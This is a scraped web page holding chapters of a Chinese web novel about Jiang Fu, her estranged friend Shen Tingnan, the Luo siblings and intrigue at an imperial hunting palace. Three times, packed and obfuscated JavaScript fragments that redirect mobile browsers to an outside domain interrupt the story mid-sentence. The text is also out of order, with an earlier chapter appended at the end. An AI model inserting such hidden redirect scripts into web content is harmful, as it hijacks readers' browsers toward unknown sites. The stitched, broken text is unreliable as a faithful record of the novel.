蒋芙还没清好的火气又上来了:“你听不见吗?过来帮个忙!” 摆弄镯子的手停下,沈听南声音柔软道:“我听见了。” “可芙芙不是说再也不理我了吗?这辈子都不用再见了吗?我以为要恩断义绝了,怎么现在又主动叫起我了?” 蒋芙沉默。 她用了重力气握住骆岢肩上坠的那条兰花链,硬将它从发髻里拽出来,扯断了好些头发。 疼的人是蒋芙,沈听南却率先落下眼泪,将头别开,再也不看。 一直到天黑歇脚,两人都未说一句话。 骆岢将肩饰卸下,收进匣子里,第二天衣着朴素地加入了骑马的队伍。 蒋芙趁着行车间隙一把抓住他袖子,小声道:“你给我坐回来!” 骆岢道:“为何?男女授受不亲,光天化日,娘子莫要拉拉扯扯。” 蒋芙另一只手也扯上去,袖子快要展平:“你坐回来!” “为何?” “坐回来!” 骆岢叹了口气:“娘子说了伤人心的话,不想去挽回吗?” “还是说,对娘子而言,总角之交的情谊也不过如此?” 蒋芙面无表情:“你是真的看不穿还是在跟我装?这事是我错了吗?是我先开的头吗?我有不分青红皂白找过你茬吗?为什么一发生这种事,所有人都觉得我错了?” 她将他袖子松开,往马车方向走。 骆岢追上去,回拉她的袖子。她穿了女子胡服,袖口很窄,隐隐约约碰到皮肤。 “我坐回去。” 他温声重复:“你别难过,我坐回去。” 蒋芙将他甩开:“我才不难过。” 骆岢回到了马车之中。然气氛压抑,他倍感煎熬。 就这样到最后一日,已经能看见皇家猎场,蒋芙背行李包下车,仰头找张闵在哪棵树上。 白明旭道:“娘子莫要着急走,杀手的事还没着落。” 蒋芙道:“你们在这,他们该杀就杀了,跟我没什么关系,我不能走吗?” 白明旭笑出声:“哇,不愧是芙芙,你真敢说啊。” “别那么叫我。” “哎,娘子,你之前不是还想见一眼公女吗?沁儿怎么说也是为了娘子才出逃的。” 蒋芙敏锐道:“你为什么跟我纠缠,有什么目的?” 白明旭揽她肩膀:“我这不是寻思有人想你留在这嘛。” 他说着,瞟了与宫人交涉的骆岢一眼。 蒋芙却会错了意,看到同方向和药童说话的沈听南。 “你喜欢自己去追!别想从我这找什么方便!再说最后一遍,你这么随便碰女生,等着独身过一辈子吧!” “不碰了不碰了!”白明旭连忙撒手,“娘子可不要胡说啊,明明是你喜欢他。” 蒋芙被他恶心到:“你才喜欢她呢。” “你喜欢他。” “你喜欢她!” “你喜……” 蒋芙无语:“幼稚!我要走了!” 白明旭抱臂笑看她背影,被张闵用目光“刺”了一下。 “芙姐!” 蒋芙脚步一顿。 她问张闵:“我幻听了?” 张闵道:“有人叫你。” “芙姐——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361774|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >声音越来越近,越来越响亮,蒋芙回身,刚好被香香软软的骆沁抱在怀里。 “沁儿找到你啦!” 蒋芙心中一甜,惊喜摸了摸她的后背:“沁儿?” “你……” 那边沈听南阴魂不散出现,拍拍手,叫小孩似的:“沁儿,快过来——” 骆沁于是像风筝一样飞过去:“听南姐!” 中途被亲哥掐断提线。 “骆沁,给我过来。” 骆岢极少外露过这般严厉的神色,因此骆沁一听到他的声音,脖子就往下缩了。 “哥哥……” “谁给你的胆子?谁给你的胆子让你从家里偷跑出来?” 他要气冒烟了,神情冷凝,便有着别样的美貌。 骆沁低头:“胆子自然是娘给的呀,哥哥不要问我这种问题,沁儿没见过娘,很伤心的。” “少卖可怜。”话是这么说,但骆岢显然较之前温和了一些。 “妹妹,以后万不可如此行事了。你想去哪里,大可与我或父亲言明,家里会安排你的行程。你何必独自冒险,你可知你要出了什么事,哥哥也活不下去了!” “哥哥……” 骆沁哭道:“沁儿错了,哥哥好好活着。” 骆岢拿她这副可怜样没辙,叹息着拿出帕子:“星星呢?” “在……在那边倒立着,说是向哥哥请罪……” 骆岢冷声道:“那便让她立着吧!” “呜啊!哥哥!你饶了我们吧!” “还哭?” “不哭了不哭了!” 蒋芙有些思念骆沁,没着急走,想着等骆岢训话结束跟她告个别。 没想到这一耽搁,那头又来了人。 魏如因跟在和她十分相像的男子身边,端着公主气派出场。 在场的人一愣,纷纷下跪行礼。 “拜见陛下!” “平身罢。” 天子笑看骆岢:“大老远就听到你的声音了,你妹妹那么可爱,怎么忍心骂哭的?” 骆岢恭敬回话:“搅扰陛下清净,还求陛下宽恕。” “好啊,你在我这边住一段时间,我就宽恕你。” 魏琪亲自将骆岢扶了起来,拍拍他肩膀:“有些日子没见,就当叙叙旧。” 骆岢并无官职在身,是个闲人,没有拒绝的理由,摆出感激的架势应声。 魏琪顺手摸了把骆沁的头,骆沁眼睛晶亮瞅他,他手顿了一下,又摸了摸。 “你的朋友们也都一起留下吧,远路而来,没有扫兴的道理。” 白明旭带头叩谢圣恩。 蒋芙跟着他们又是一拜。 骆沁安然无恙,杀手的事也像解决了,她在脑子里构思长安的图景。 天子离开,骆岢兄妹跟随。 蒋芙没了告别的机会,虽然遗憾,但也没什么执念。她收心和张闵一起往长安城的方向走,被羽林军拦住:“陛下有令,已为公子友人安排住处。” 蒋芙道:“你们认错了,我不是他友人。” 对方不为所动:“天恩浩荡,娘子不要不识趣。” 这些人训练有素,表情天衣无缝,看不出什么缘由。 她回头望白明旭,后者抱臂靠在他们来时的马车上,察觉她视线,对她笑着招手。 不对劲。 28. 第 28 章 “什么情况?” 蒋芙将白明旭拉到避人耳目的地方,质问他们不能离开的原因。 绝对不会只是要留骆岢的朋友在长安游玩。 白明旭道:“还记得我托娘子办的事吗?” “记得。”他指的是金府的事,蒋芙正了正色,“和那个有关?” 他颔首,一贯轻松明快的脸上多了几分肃穆。 “恕我与娘子坦言,此事关乎江山社稷,事未了结,娘子最好哪里也不去,就待在长安城里。这也是陛下仁慈,为娘子性命做的一份保障。” 蒋芙琢磨:“和郡公府有关?” 白明旭并不意外她想到这里,骆岢兄妹也被留在天子身边,结合他提供的时局,此结论并不难猜。 但回答与否就是他的事了。 蒋芙只当他默认,如果她说错了,他不会是这种态度。 “打从一开始,公女夜逃是不是就是你们的布置?沈听南是你们的人?” “哎,不是。” “那便另有其人。”蒋芙冷笑一声,“我现在在别人眼里,估计都算是你们的人了。” 她顿了顿,算账一样:“洛城外的那些杀手,也是你们的安排?” “不让我和张闵走,是怕我们落在背后之人的手里招供出什么,在你们准备好之前打草惊蛇?” 白明旭笑道:“娘子思绪缜密,令在下叹服。” 他不正面回答,蒋芙便不知哪些推测是准确的,还好她不好奇,就是心里有点不舒服。 从金无尽事件结束,她渐渐察觉想从这场漩涡中脱身很难。 “我会死吗?” “怎会,娘子不日便能得到封赏。” “我不要封赏,你们这个事我不想参与。” 白明旭无奈:“娘子,长安不好吗?” 蒋芙眼睛眨也不眨盯他:“白明旭,我当你是个好人、相信你才跟你问这么多。拜托你和我交底,真不能放我走吗?” 白明旭叹了口气,也拿出相应的真诚对她:“你走了会有危险,这次是真的。娘子可知,换做沈娘子或者其他人,他们就不会着急脱身,而是把握住这次在圣上面前露脸的机会,再做一些别的什么事。” 蒋芙道:“可我不想时时刻刻拿命去冒险,你给我指一条明路。” 白明旭遗憾道:“不冒险便守成,你就当自己什么都不知道,安心享受公子友人的待遇吧。” 他想了想,笑道:“还有,公主面前,就别和沈娘子吵架了,心里郁闷就多和公女在一起玩玩,沁儿还挺喜欢你的。” 结束与白明旭的对话,蒋芙身心俱疲地找到张闵。 “走不成了,先听从安排住下吧。反正咱们也约好要在长安玩几天的。” 有地方免费吃住,多留一段时间不是不行。 反正她是真的什么都不知道,她对于整件事,就像金府的下人对金无尽的所作所为一样,只知道其中手法,不知背后隐情和最终目的。 总之就是皇权与某种力量的抗衡。 洛城的郡公府在长安有据点、训练有素的鹰与军队,可以称之为一个不属于天子的特务机构。就算没有金无尽事宜牵扯,天子也该早就在心里忌惮。 将郡公一双儿女扣在长安,就有威胁的隐喻,只看郡公是白明旭所说关乎江山社稷的大事中的哪一环了。 不过那些与蒋芙都没太大关系,她不具备穿越者的优良素养,所以也不去奢望不符合实际的雄心壮志。能在这个时空活到寿终正寝,就是她的成功。 - 正值天子秋狩,祭祀先祖。 魏琪没在猎场玩够,还不想回大明宫中。骆岢来了,他便在猎场附近的华清宫设宴款待。 蒋芙暗中观察,天子对待骆岢与在洛城时并无分别,依旧是调侃里带着深厚的宠信,看不透是装的还是真心的。 沈听南到宴以后便随魏如因落座,同席之人还有与蒋芙有过救命之恩的文王。 想到这里,蒋芙睨了沈听南一眼。对上视线,两人都没有闪躲,隔着席位长久注视着彼此。 其实小时候那段时间,她和沈听南是真的相处不错。 沈听南早慧,蒋芙与她相处比和同龄小孩相处轻松,说什么她都懂,还很聪明,能把她随口提的事办得很漂亮。 如果当时沈听南肯为她背后说的那些贬低之辞向蒋芙道歉,说她跟她姐妹那么说是为了面子,蒋芙会原谅她的。当时不原谅,后来也会原谅。 沈听南无作为,可能觉得没必要吧。何必为了一个没出息的蒋芙浪费自己的尊严。 断也就断了,蒋芙不是想不开,她自己在原来世界也不是没有断联过的朋友。 可断了以后,先是张闵,后是母亲。沈听南在她的生活里处处找晦气。 她就是瞧不起自己,蒋芙清楚,沈听南肯定自以为谁能跟她做朋友就是恩赐谁,蒋芙凭什么生她的气,几句话而已,应该懂事装作什么都没听见,若无其事相处下去,哪来的资格闹翻? 于是她夜以继日地纠缠不休。 可真的遇见大事,她是能像正常的朋友一样拉蒋芙一把的。 蒋芙自问,如果是沈听南遭遇了那些,她会出手相助吗? 答案鲜明。她没她那么多的人脉,但总归不会眼睁睁看着她死。 所以这算什么。 同样恩断义绝的话,蒋芙这些年来说过无数次。怎么就这一次她反应这么大?还不是有骆岢在场,她想演绎重情重义的人设。 这样相持也好,免得在别人面前,她还要假惺惺凑过来表达亲昵。 最好是借着这次情绪,她们真的恩断义绝,再也别见了。 男女同宴,骆岢自然坐在骆沁上位。蒋芙所在的地方便仿佛有群狼环伺,视线盯得人吃不下饭。 骆沁瞧出了蒋芙的疲惫,左右看看,拉着蒋芙起身。 “陛下,你和哥哥好好聊啊,沁儿去外面透透气!” “去吧,叫护卫跟着。” “多谢陛下!” 蒋芙跟着行礼告退。刚一出门,扑面而来的秋带着清凉的气息,胸口沉积的憋闷随风消散。暗蓝色的暮前,骆沁用脱离她年龄的成熟与宫人交涉,回来欢欢喜喜牵蒋芙的手。 “芙姐,我们去围园看小鹿呀。婴儿大小,被洗得可干净啦,乖巧又听话!” 她说得绘声绘色,蒋芙也被感染了情绪,捋了下被风乱吹的发丝:“好啊。” 她们在宫人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369996|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引路下往围园的方向走,一路都是骆沁甜软的声音,她跟蒋芙报备来了长安这边都做了什么。 蒋芙听着,心又沉了下去。 如果洛郡公真的在阴谋里担任了一个不小的角色,天真烂漫的骆沁,下场又会如何? 黑蒙蒙的时候,蒋芙抱到了那只乖乖听话的小鹿。它浑身毛茸茸的,还没有鹿的样子,现在看起来像只小猪。 “好可爱!” 蒋芙兴奋地呼出声来,用脸去贴小鹿的头和后背。 骆沁看她喜欢,也美滋滋开心。 “芙姐,这边还有一只小老虎呢!” 宫人在墙边点上了灯,就着灯光,蒋芙依次看了老虎、豹子、狐狸的幼崽。 她没问哪来这么多幼崽,显而易见,是天子及近臣狩猎过程中掠夺的。 蒋芙问:“沁儿,你喜欢父亲还是兄长?” 骆沁嘿嘿笑:“我都喜欢啊。” 蒋芙便不再说话。 告诉她有什么用,自己所知也非全貌,惹出了事端要比所有人死得容易。 骆沁搂她手臂:“那芙姐喜欢沁儿还是哥哥呀?” “当然是你。” “呀,沁儿也喜欢芙姐。芙姐,你要是给沁儿做嫂子就好了。哥哥大了,我想把他嫁给你呢。” 蒋芙笑脸淡了几分:“这还是算了,我怎么配得上公子,能被你叫一声芙姐我就很开心了。” “芙姐这些日子变了好多。” “我也在长大啊。” 骆沁让宫女把小狐狸放回窝里去,两人漫步往回走。 “沁儿也长大了。” “是啊,长高一些,才过去多少日子,真快。” “沁儿也有喜欢的人了。芙姐,怎么办呀。” 蒋芙还浸在轻松的闲聊中,骤然听到这句话,脚步一顿,惊讶看骆沁的神情。 她眉眼静美,已有了少女思慕的情态。 是不是太早? 蒋芙反应过来,她在这里的年纪也没到十六,却是成年的资历了。 她总是忘记年龄,或者说身边的人都看不出年龄,唯有骆沁保留了孩童的纯真,让她能把她当作孩子看待。 然而大户人家十一二岁已经开始议亲了。 蒋芙没有打听是谁,有随行的宫人及护卫,最好不要谈太深的东西。 “沁儿打算怎么办?” “唔……不敢跟哥哥说,也许就憋在心里一辈子了吧。” 骆沁抬眸看蒋芙,眸色比月色温柔。 “所以我好敬仰芙姐,喜欢哥哥,就做了喜欢哥哥要做的事。你那样赤诚,所有人看了都想成全你的。” 实际上,是所有人看了都想笑话她才对。 蒋芙没有否定她,而是拉住她的手,说:“有意中人是很好的事,也不用非嫁给那个人不可,可以先谈恋爱试试。” “谈……恋爱?”骆沁咀嚼这几个字,“好热情的话,我脸都要红啦。” “你先看看他的意思,如果也喜欢你,你就也告诉他你的心意。你有所顾及,那人必定也有考量,能被你喜欢的人,定然不会叫你难做。先将情意通了,没事拉拉小手,聊聊天,都是无伤大雅的事,你心情却会好很多。” 29. 第 29 章 路的后半程,骆沁静静思索,已然将她的话听进去了。 回至宴外,人都散了,骆岢手里搭着骆沁的披风,到跟前给她披上。 蒋芙住处与郡公府的人分在了一起,默认一同归程。 张闵不在,他被白明旭找去不知做什么,事先征求过她的意见。因为在天子的地盘上,又有那么多大人物在,不可能有人想对她动手,所以她答应得很痛快。 而且张闵能交到朋友是好事,白明旭也算个好人,只要他不撬她墙角,一切都好商量。 风一股股的凉,蒋芙忍着没抖,到底瑟缩了下。 骆沁看在眼里,要求哥哥:“你把披风给芙姐穿嘛。” 骆岢看了蒋芙一眼,她本就瘦小,萧瑟的夜风里更显脆弱。 他耐心教导:“男女有别,衣物不可随意混穿。你若担心,就将你的披风给娘子,哥哥的披风给你穿。” 骆沁自然应声。 蒋芙微笑着接受了骆沁的好意。 然而骆沁却用骆岢的披风裹住了她们两个,将她的披风给了哥哥:“怎能让哥哥一人受冻啊。” 虽未明言,但被小姑娘拢进带有清淡兰花苦香的披风里,承接到前人的温度时,蒋芙就明白了她的用心。 哪怕无法两情相悦,能这样错位挨着喜欢的人一下,心里也会好受些。 这是真正动情过后,少女独有的情思。 蒋芙感到暖心,除此以外,还有庆幸。 还好她不喜欢骆岢,不然人生要比现在还苦。 不过,骆沁到底喜欢的是谁啊? 这天夜里,蒋芙睡得很早。 但有些人没有睡。 沈听南以赴公主约的名义等在芙蓉湖畔,她披一件青白色的斗篷,无人之时眉眼冷淡无情。 身后传来带着病气的咳嗽声。 她顿时像从画中活过来的仙子,面容柔情款款,回身朝文王行礼。 魏璟回以笑:“许久不曾见娘子了。” 沈听南但笑不语,做出一副女儿家羞涩的姿态,不动声色与他隔开了距离。 魏璟又咳了一阵,拿帕子抵住口鼻。 他声音虚弱:“娘子近来可是有烦心事?” 沈听南摇头:“殿下为何如此发问?” “自然是想为你排忧解难。” 沈听南心中哂笑,谁能解她的忧,她的难。 “我是娘子的难处吗?” 她指尖一颤,冷不丁抬眸,便对上那双独属于皇家的凌冽凤眼。 “殿下是我的……好处。” 魏璟笑了笑,笑意消散,眼中有些忧伤。 “我知你心意,不会强求你。本也无多少时日可言,死后又没有能庇护你的钱权,我不会硬拉你受苦,断你的前程。” 沈听南沉默看他,也许是近日变故堆积,让她对假面的存在感到疲惫。听到这些剖白的话,她笑不出来。 骆岢到底为什么会被蒋芙打动? 文王又为何会喜欢上她? 举案齐眉,名垂青史,一世富贵荣华的期愿终究飘远了。她处处做到最好,几乎拼尽全力,为什么还要落得这个下场? 是她错了? 她当初不该招惹蒋芙,让她们之间结下梁子,以至于后来被搅乱所有计划。是吗? 但。 沈听南苦笑:“殿下说什么呢,是听南身份低微,无法与殿下相配。” 魏璟与她隔得不近,很有礼数分寸,是她的倾慕者里最安分、听话的一个。按常理,能嫁进天家便是举世难求的福分,但这人许不了她未来。 她的人生必须算计着过,才能一天一天过下去。 她和蒋芙不一样的。 猎场外百里,白明旭抖了抖嫣红裙摆,一脚踩上伏地之人的脊背,笑嘻嘻道:“爷美吧?” 那人用力挣扎:“你这杂种!你是什么人?你知道我是谁吗?” “咻”的一声,一把青铜空心剑刺进他头顶的石板,几乎贴着他的发冠。那人就此住嘴。 白明旭赞道:“好剑。” 踩得力度加大:“你也好贱,崔七郎。这么喜欢人妻?街上走过一个挽着男人胳膊的姑娘你就抢?还摸我屁股!” 他踹了几脚,解气了把人拎起来,搭了张闵的肩膀:“走,审人去。” 张闵不动:“事已办成,我先走了。” 白明旭连忙叫住他:“你走什么啊,功劳在后头呢。” “不用。”说话的功夫,人已经窜出去老远。 白明旭在原地愣了会,笑开,叫出黑暗中的手下一道把人领走。 这世上还真有饭端到嘴边不吃的人。蒋娘子与张闵,这两人都挺死心眼的,有什么不敢的呢,胆子不大,如何成家立业? 将崔七押入刑房,白明旭转了转手腕,坐在侍从及时呈上的椅子中。 再抬头,人已经被架起来了。 崔七郎双目赤红,快要冒火:“白明旭!你快把我放了!你……!” 刑具用上,他再没空放狠话,光顾着声嘶力竭地惨叫。 “你爹给你的东西在哪?” “啊!!——什么、东西?” “送往洛城的手信。” “没有!没有那种东西……啊!” “嘴真硬,拿针来。” “啊!!——” 蒋芙半睡半醒,听到外面有许多鸟在扑腾。 应该是被什么东西吓着了,毕竟这是皇家猎场,有许多野兽。 她转了身,往上提了提被子继续睡,明日还要陪在骆沁身侧,有许多人来寒暄,总得打起精神应对。 朦胧间有人来她床前,将她忘摘下来的簪子拆了放在枕边。 不用睁眼,她也知道这人是谁。 “你回来了?” “嗯。” “你们玩什么了?” “抓人,打护卫。” “唔……”蒋芙伸胳膊晃了晃,在半空中摸到他递来的手。 “我就知道白明旭看上你了,想让你跟他卖命,背着我给你好处。你不可以跟他走……不对,你可不可以不跟他走?” “我不会跟他走。” 得到他肯定的回答,蒋芙安心笑了,松了手。 “谢谢。你早点睡吧,我也要睡了……” 上次闹脾气以后,蒋芙比过去温柔很多。 但张闵感觉到了,她在一点点疏远自己,从他的身边走开。 无碍。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379875|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他想,她就算离开,他也可以跟着她,保护她安全,这一点没变,并没有什么值得在意。 - 翌日,天子带金吾卫去猎场狩猎,贵族男女随行。 蒋芙不会骑马,主动留下。原本准备了一肚子的话劝骆沁不用管她,尽管去玩,结果没用上,骆沁很抱歉地一步三回头,跟在她哥哥身边离开了。 于是她就成了一个人,回房间睡了个回笼觉,出去晒了晒太阳。 跟随的侍女带她在华清宫里闲逛,每到一处建筑,蒋芙就问侍女来历,像去了景点旅游似的。 逛得久了,蒋芙体力跟不上,侍女主动为她找茶水,她就坐在湖边的亭子里歇脚。 不远处便是那晚骆沁带她去的围园,她打算侍女回来以后再去那里看看小鹿和小老虎。正想着,便见有女眷从那头被宫人们簇拥着出来。 女生多的时候娇笑起来是很好听的,蒋芙与她们不熟,也不太想招呼着说话,便将头转向湖水那边。 她看到了湖旁的石碑,这湖叫“芙蓉湖”,刚好她叫蒋芙。 “呀……” 声音响在附近,蒋芙后背一僵,到底躲不过了。 她换了张笑脸,也装作惊讶地回头,站起身:“是我失礼,见过诸位娘子。” 女孩们纷纷回礼。 “好客气的人,我在公女身边看见过你,你是哪家的娘子?” 蒋芙道:“我爹去世了,如今已算不上官身,因之前做过公女伴读,才有今日游玩之幸。” 听她说完,同行贵女心里对蒋芙身世有了衡量。能给洛郡公的女儿做伴读,应是洛城本地的书香门第,纵然如今零落,也是可敬的。 带头的女孩找了地方坐下:“今日碰见便是有缘,多少人随着陛下狩猎去了,独我们留在这芙蓉湖畔,不妨就在一起聊天,娘子以为如何?” 蒋芙自然答应。 她挨得离蒋芙近些,一帮人闲谈了几句风雅,归到正题。 “娘子,你给公女做伴读时,是不是时常能碰见公子?” “我没做几天伴读,家里就出事离开了,并没时常碰见过。” 她这样说,几个围着她的女子反而露出满意的神色。蒋芙到此看出,这些人围着她并不是她看着有多友好、多值得结交,她们都是为了骆岢才在这与她周旋的。 “娘子,公子可与你说过什么话?他说话时会看着你的眼睛吗?对视时是什么感觉?” 蒋芙道:“说过几句,说话时他会看你的眼睛,感觉倒没什么。” “娘子你第一次见到公子时是什么感觉?” 蒋芙回想了一下。她第一次看到骆岢觉得他很能装,但这个说了她们一定会生气。 “没什么感觉,也许和娘子们感觉一样。” “娘子平常能和公子说上话吗?” “能,这几天抬头不见低头见的。你们有什么事要帮忙,都可以找我。” 几个女孩便脸红了。 “不成,我听说过,公子从不收女子东西的,有时候示弱在他那都没用。” “对,我有一次淋了雨,他刚好在,都不肯说一句伞给我用。” 蒋芙感到奇怪。骆岢原来这么吝啬,那她们喜欢他啥? 30. 第 30 章 身侧女子看出她在想什么,手帕遮嘴朝另一人笑。 “娘子若以为公子小气便错了,他是不想平白给女子希望,让我们年华虚度呢。” 蒋芙配合笑笑,心中不以为意。 长相好的人,总会比普通人收获更多善意和耐心。但实际上,骆岢很有可能只是懒得处理那些恋慕他的女子带来的麻烦,所以在最初就不去给幼苗破土的机会。 不知几炷香的时间过去,女孩们的话题还在围绕骆岢延申。 “我觉得做兄长的男子都会呵护人。” “是啊!我阿兄就天生知道要珍惜女子,对我嫂嫂可好。” “公子是不是对小沁很好?我都看见了,处处关怀备至,如果小沁不是他妹妹,我一定嫉妒死了。” 蒋芙答:“的确很好。” 不管为人如何,骆岢对妹妹确实没得挑。 “真不知道往后哪家的女子有这般福气。” “他最好不娶妻了!” “你真坏哈哈。” “这次没见成公子披发。”她对蒋芙说,“你不知道,公子披发堪称倾国之色,犹如春风拂嫩柳,绿意韧摇绕……” “绵姐姐好诗啊!” “好诗好诗!我回头要找纸笔誊下来!” “好遗憾,我还没见过!公子为什么不半披发了?是年长的缘故吗?” 蒋芙心想:他就是因为臭美,半披着头发,才被杀手砍断一半,现在长短不齐,哪好意思再在人前展露。 “公子也不知配的什么香。” “是!我就忘不了那香,恨不得陛下天天摆宴,哪怕从他身边经过说不上一句话,我也想沾沾他身上的味道。” “除了公子身上,我再没闻过那种兰香了。” 女子们各自遗憾怀春,一阵沉默。 蒋芙填补空白:“你们可以问问他怎么调的,不就搭到话了?” 女孩们羞涩:“娘子,香乃隐秘之物,怎能随口问不相干的异性呢。” 蒋芙梗了一下。 原来他们这时候的人还真有这种讲究,上次听到这般辩论还是骆岢讲给她的。 微微出神,亭下有脚步声经过。亭里的女孩子们热切与她们招呼,极其热闹:“公主殿下!沈娘子!来和我们一起聊天啊!” 沈听南在明光下抬头,柔柔对她们一笑,随后眸子定格在蒋芙身上,停顿得久了,显得别有意味。 蒋芙看到身边的侍女端着茶水在不远处踌躇,便站起身:“我的侍女在等我,先与诸位告辞了。” 她旁坐的女孩有些不舍:“这就走啦?” 她还有更多有关骆岢的话想说。女子的暗恋,似乎只要有一个与他相关的人在场就会感到幸福。 蒋芙笑着行平辈间辞别的礼。 沈听南已随在魏如因身后步入亭中。 她笑:“怎么我来了,芙芙就要走呢?” “……” “芙芙?沈娘子与这位小娘子相识?” 沈听南微微一笑:“我们算是从小一起长大的呢。” 几人纷纷惊讶:“竟有这般缘分,我们碰见了沈娘子的手帕交。” 魏如因瞥了蒋芙一眼,目光轻蔑:“手帕之交,可不是认识就算数的吧?” 蒋芙恭敬道:“公主说得是,并不算,只是邻里之间说过几回话,认识罢了。” 认识罢了。 沈听南顷刻抬眸,震惊过后,恨意自眼底层层涌出。随后眨了下眼,睫毛之后,一切如烟消云散般收敛起来。 她微笑道:“刚刚娘子们在说什么?好生热闹。” 与蒋芙表现得最为熟稔的那个女孩仿佛看不出她们之间的纠葛般:“我们在聊公子,佳人与花与月,亘古不变的风雅趣事,随时说起来都有话聊。” 这是她的小小幽默,沈听南配合着浅笑一下。 女孩道:“芙芙娘子却与我们不同,她对骆岢公子毫无兴趣一般,聊起什么都大胆直率,很是令我等钦佩呢。” 调笑之辞,必然不是真的钦佩。可沈听南还是意外地看了蒋芙一眼。 “芙芙……对公子毫无兴趣吗……呵呵……是这样啊……” 她还是那么文雅,装蒜的笑。这个表情、语气,都像是骆岢做得出来的,她要比骆沁更像他的妹妹。 那位娘子的笑定了定,疑惑沈听南的奇怪表现。 连魏如因都诧异地瞧着蒋芙。 蒋芙后知后觉,她曾经在这两个人都在场的情况下对骆岢表白过。 “……” 魏如因道:“你不是喜欢骆岢喜欢到非他不可、嫁不到他就要出家做姑子的地步吗?” 先前与蒋芙聊得欢快的女孩们表情都怪异起来。 “殿下,能详细说说吗?” 蒋芙暗道不好,想走,却在魏如因的逼视下不敢动一步。 “我阿兄月前去的那趟洛城,蒋芙也在,她当着那么多人的面亲口对骆岢表白了心迹,我阿兄还跟我称赞了她。听说之后这人被骆岢亲自找去了家里做伴读,我还以为她要给公子岢做妾了,结果——” 一切尽在不言。 那位出头的娘子脸上再无笑意,全是冰冷的愤怒。 “竟有这样的事,好不要脸。” “蒋娘子,你今日又是做什么?隐姓埋名愚弄我们吗?” 女子带头走了,其他女孩紧随其后,都没什么好脸色,经过蒋芙时用余光瞪她。 蒋芙一直都在沉默。 她没有辩解,毕竟魏如因没冤枉人,她说的是自己真实做过的事。 见蒋芙被方才其乐融融聊天的女孩们厌弃,魏如因眼中带了愉悦的笑意。 “蒋芙,蒋娘子,以后可不要这么骗人玩了。” 蒋芙下跪行礼,跪她的权力:“殿下,我能退下了吗?侍女还在等我。” 魏如因轻蔑挥了下手,让她离开。 望着蒋芙略显狼狈的背影,她邀功般看向沈听南:“自作自受……” 沈听南的泪却在眼眶里打转,眼神迟滞,薄唇轻轻颤动。 魏如因便歇了声息,闷闷低头。 “我错了?你哭什么?我给她道歉?” “……殿下、”沈听南捂着脸,靠着魏如因的肩膀痛哭出声。 魏如因冷凝着脸,任她依靠着。良久,眉目渐渐揉开,眼中带了悲戚。 - 丢人。 太丢人。 沈听南这个贱人,非跟她过不去。 不过也不能怪她,都是事实,沈听南来揭穿反而算是正义。 她自己是坏蛋。 “……” 房门响了几声。 “芙姐,芙姐,你不吃饭吗?” 又过了一会儿。 “芙姐 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“她们凭什么那么对待你呀,你们又不认识,你怎么会跟她们说你喜欢谁!” “是她们自己背后议论哥哥,竟然还有脸欺负我芙姐!” 小女孩在屋里走来走去,是气得不行的模样,时不时偷瞄蒋芙一眼,像是有意给她这边说话,讲歪道理。 蒋芙心虚:“确实是我没告诉她们实情……她们没错……” “芙姐!你不要反思自己了!是她们自作主张跟你搭话,谁会第一次见面就跟别人说那么羞人的事,就算是哥哥知道也要看轻她们的!” 蒋芙为难地沉默。 骆沁气愤着气愤着,打了个哈欠,很自然地掀了蒋芙的被子躺上床。 “芙姐,我睡了,你也早点睡呀。” “……” 蒋芙肚子空旷,叫了一声。静谧的黑夜里分外明晰。 骆沁已然忘了那么执着等在门前是叫她吃饭的事了。 就是小孩子。 蒋芙稍微穿戴好出门,想找醒着的侍从要些冷食吃。 拐角处,骆岢拢着斗篷,坐在竹畔煮酒。 热酒香弥漫在空气之中,他似才沐浴过,参差不齐的长发在月下映着光滑的润泽。有风经过,竹枝摇曳,影随之成林。 蒋芙借此闻到了扑面而来的兰香,十分浓郁,十分令人头晕。 她才用手捏上鼻子,骆岢便回过头来。 像是心有所感,他脸色一黑,轻轻点头算作打招呼,再不理她。 蒋芙也不自讨没趣,她才在他的事上吃亏,如今看到他都嫌晦气,更别提与他寒暄了。 但事不随人愿,蒋芙逛了一圈回来,也没见到值夜的人。她不知厨房在哪,似乎这天夜里,她就是吃不上饭的命。 她拖着步子往回走,骆岢还在那片竹子下煮酒,只是他旁边多放了一张坐垫,一套杯具,一叠点心。 这么装模作样,不会是要和沈听南喝酒吧…… 她不由自主加快脚步。 “蒋芙。” 骆岢第一次叫了她的名字。 23-30 第23章 第 23 章 公女失踪。 那日骆沁与沈听南聊过光州以后, 心中便逐渐形成了一份远行规划。 她长这么大,很少出洛城。小时候外祖在世,她和哥哥去过几次长安。外祖逝世,她再未有过赶路的机会。 光州是什么样的地方?她去那能找到芙姐吗? 稚嫩如她还想不到那么多。又或者说, 她带着未知的憧憬, 将包袱扔过院墙。 